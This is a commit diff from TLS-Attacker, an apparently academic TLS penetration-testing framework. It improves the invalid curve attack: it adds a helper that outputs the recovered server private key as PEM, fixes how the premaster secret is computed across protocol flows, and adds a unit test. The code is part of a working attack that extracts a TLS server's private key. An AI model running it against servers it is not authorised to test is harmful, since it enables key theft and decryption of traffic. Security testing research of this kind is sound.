Skip to content

Commit 2bb369d

Browse files
Fixes and improvements to the invalid curve attack
1 parent 509c740 commit 2bb369d

File tree

4 files changed

+109
-13
lines changed

4 files changed

+109
-13
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
/**
2+
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
3+
*
4+
* Copyright 2014-2017 Ruhr University Bochum / Hackmanit GmbH
5+
*
6+
* Licensed under Apache License 2.0
7+
* http://www.apache.org/licenses/LICENSE-2.0
8+
*/
9+
package de.rub.nds.tlsattacker.attacks.ec;
10+
11+
import java.math.BigInteger;
12+
import java.security.AlgorithmParameters;
13+
import java.security.KeyFactory;
14+
import java.security.NoSuchAlgorithmException;
15+
import java.security.NoSuchProviderException;
16+
import java.security.PrivateKey;
17+
import java.security.spec.ECGenParameterSpec;
18+
import javax.xml.bind.DatatypeConverter;
19+
import java.security.spec.ECParameterSpec;
20+
import java.security.spec.ECPrivateKeySpec;
21+
import java.security.spec.InvalidKeySpecException;
22+
import java.security.spec.InvalidParameterSpecException;
23+
24+
public class EcPemCreator {
25+
26+
static final String BEGIN_EC_PRIVATE_KEY = "-----BEGIN EC PRIVATE KEY-----\n";
27+
static final String END_EC_PRIVATE_KEY = "-----END EC PRIVATE KEY-----\n";
28+
29+
private EcPemCreator() {
30+
31+
}
32+
33+
public static String createPemFromPrivateEcKey(String namedCurve, BigInteger secret)
34+
throws InvalidKeySpecException, InvalidParameterSpecException, NoSuchAlgorithmException,
35+
NoSuchProviderException {
36+
AlgorithmParameters parameters = AlgorithmParameters.getInstance("EC", "SunEC");
37+
parameters.init(new ECGenParameterSpec(namedCurve));
38+
ECParameterSpec ecParameters = parameters.getParameterSpec(ECParameterSpec.class);
39+
ECPrivateKeySpec privKey = new ECPrivateKeySpec(secret, ecParameters);
40+
PrivateKey privateKey = KeyFactory.getInstance("EC").generatePrivate(privKey);
41+
String pem = BEGIN_EC_PRIVATE_KEY + DatatypeConverter.printBase64Binary(privateKey.getEncoded())
42+
+ "\n-----END EC PRIVATE KEY-----\n";
43+
return pem;
44+
}
45+
46+
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/ec/oracles/RealDirectMessageECOracle.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,7 @@ public boolean checkSecretCorrectnes(Point ecPoint, BigInteger secret) {
7676

7777
ECDHClientKeyExchangeMessage message = (ECDHClientKeyExchangeMessage) WorkflowTraceUtil.getFirstSendMessage(
7878
HandshakeMessageType.CLIENT_KEY_EXCHANGE, trace);
79+
message.prepareComputations();
7980

8081
// modify public point base X coordinate
8182
ModifiableBigInteger x = ModifiableVariableFactory.createBigIntegerModifiableVariable();
@@ -92,7 +93,6 @@ public boolean checkSecretCorrectnes(Point ecPoint, BigInteger secret) {
9293
ModifiableByteArray pms = ModifiableVariableFactory.createByteArrayModifiableVariable();
9394
byte[] explicitePMS = BigIntegers.asUnsignedByteArray(curve.getModulus().bitLength() / 8, secret);
9495
pms.setModification(ByteArrayModificationFactory.explicitValue(explicitePMS));
95-
message.prepareComputations();
9696
message.getComputations().setPremasterSecret(pms);
9797

9898
if (numberOfQueries % 100 == 0) {

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/InvalidCurveAttacker.java

Lines changed: 36 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
1414
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1515
import de.rub.nds.tlsattacker.attacks.config.InvalidCurveAttackConfig;
16+
import de.rub.nds.tlsattacker.attacks.ec.EcPemCreator;
1617
import de.rub.nds.tlsattacker.attacks.ec.ICEAttacker;
1718
import de.rub.nds.tlsattacker.attacks.ec.oracles.RealDirectMessageECOracle;
1819
import de.rub.nds.tlsattacker.core.config.Config;
@@ -36,6 +37,10 @@
3637
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowConfigurationFactory;
3738
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
3839
import java.math.BigInteger;
40+
import java.security.NoSuchAlgorithmException;
41+
import java.security.NoSuchProviderException;
42+
import java.security.spec.InvalidKeySpecException;
43+
import java.security.spec.InvalidParameterSpecException;
3944
import org.apache.logging.log4j.LogManager;
4045
import org.apache.logging.log4j.Logger;
4146
import org.bouncycastle.util.BigIntegers;
@@ -69,6 +74,16 @@ public void executeAttack() {
6974
tlsConfig.getDefaultSelectedNamedGroup());
7075
BigInteger result = attacker.attack();
7176
LOGGER.info("Result found: {}", result);
77+
78+
try {
79+
String pem = EcPemCreator.createPemFromPrivateEcKey(tlsConfig.getDefaultSelectedNamedGroup().getJavaName(),
80+
result);
81+
LOGGER.info("Resulting private key in PEM format:\n{}", pem);
82+
} catch (NoSuchAlgorithmException | NoSuchProviderException | InvalidKeySpecException
83+
| InvalidParameterSpecException e) {
84+
LOGGER.info("Creating a PEM privte key object failed: ", e);
85+
}
86+
7287
}
7388

7489
/**
@@ -85,22 +100,18 @@ public Boolean isVulnerable() {
85100
EllipticCurve curve = CurveFactory.getCurve(config.getNamedGroup());
86101
Point point = Point.createPoint(config.getPublicPointBaseX(), config.getPublicPointBaseY(),
87102
config.getNamedGroup());
88-
for (int i = 0; i < getConfig().getProtocolFlows(); i++) {
89-
if (config.getPremasterSecret() != null) {
90-
premasterSecret = config.getPremasterSecret();
91-
} else {
92-
Point sharedPoint = curve.mult(new BigInteger("" + i + 1), point);
93-
premasterSecret = sharedPoint.getX().getData();
94-
if (premasterSecret == null) {
95-
premasterSecret = BigInteger.ZERO;
96-
}
97-
LOGGER.debug("PMS: " + premasterSecret.toString());
98-
}
103+
104+
int protocolFlows = getConfig().getProtocolFlows();
105+
if (config.getPremasterSecret() != null) {
106+
protocolFlows = 1;
107+
}
108+
109+
for (int i = 0; i < protocolFlows; i++) {
110+
setPremasterSecret(curve, i, point);
99111
try {
100112
WorkflowTrace trace = executeProtocolFlow();
101113
if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.SERVER_HELLO, trace)) {
102114
LOGGER.info("Did not receive ServerHello. Check your config");
103-
104115
return null;
105116
}
106117
if (!WorkflowTraceUtil.didReceiveMessage(HandshakeMessageType.FINISHED, trace)) {
@@ -116,6 +127,19 @@ public Boolean isVulnerable() {
116127
return false;
117128
}
118129

130+
private void setPremasterSecret(EllipticCurve curve, int i, Point point) {
131+
if (config.getPremasterSecret() != null) {
132+
premasterSecret = config.getPremasterSecret();
133+
} else {
134+
Point sharedPoint = curve.mult(new BigInteger("" + (i + 1)), point);
135+
premasterSecret = sharedPoint.getX().getData();
136+
if (premasterSecret == null) {
137+
premasterSecret = BigInteger.ZERO;
138+
}
139+
LOGGER.debug("PMS: " + premasterSecret.toString());
140+
}
141+
}
142+
119143
private WorkflowTrace executeProtocolFlow() {
120144
Config tlsConfig = getTlsConfig();
121145
WorkflowTrace trace = new WorkflowConfigurationFactory(tlsConfig).createWorkflowTrace(WorkflowTraceType.HELLO,
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
/**
2+
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
3+
*
4+
* Copyright 2014-2017 Ruhr University Bochum / Hackmanit GmbH
5+
*
6+
* Licensed under Apache License 2.0
7+
* http://www.apache.org/licenses/LICENSE-2.0
8+
*/
9+
package de.rub.nds.tlsattacker.attacks.ec;
10+
11+
import java.math.BigInteger;
12+
import static org.junit.Assert.assertEquals;
13+
import org.junit.Test;
14+
15+
public class EcPemCreatorTest {
16+
17+
@Test
18+
public void testConversion() throws Exception {
19+
BigInteger key = new BigInteger("45920025678221661724778903394380424235512150060610104911582497586860611281771");
20+
String curve = "secp256r1";
21+
String result = EcPemCreator.createPemFromPrivateEcKey(curve, key);
22+
assertEquals(EcPemCreator.BEGIN_EC_PRIVATE_KEY
23+
+ "MEECAQAwEwYHKoZIzj0CAQYIKoZIzj0DAQcEJzAlAgEBBCBlhdBA2pVVpBpVqfWQLlnfZyfy1SNQtMubbhwcCFsjaw==" + "\n"
24+
+ EcPemCreator.END_EC_PRIVATE_KEY, result);
25+
}
26+
}

0 commit comments

Comments
 (0)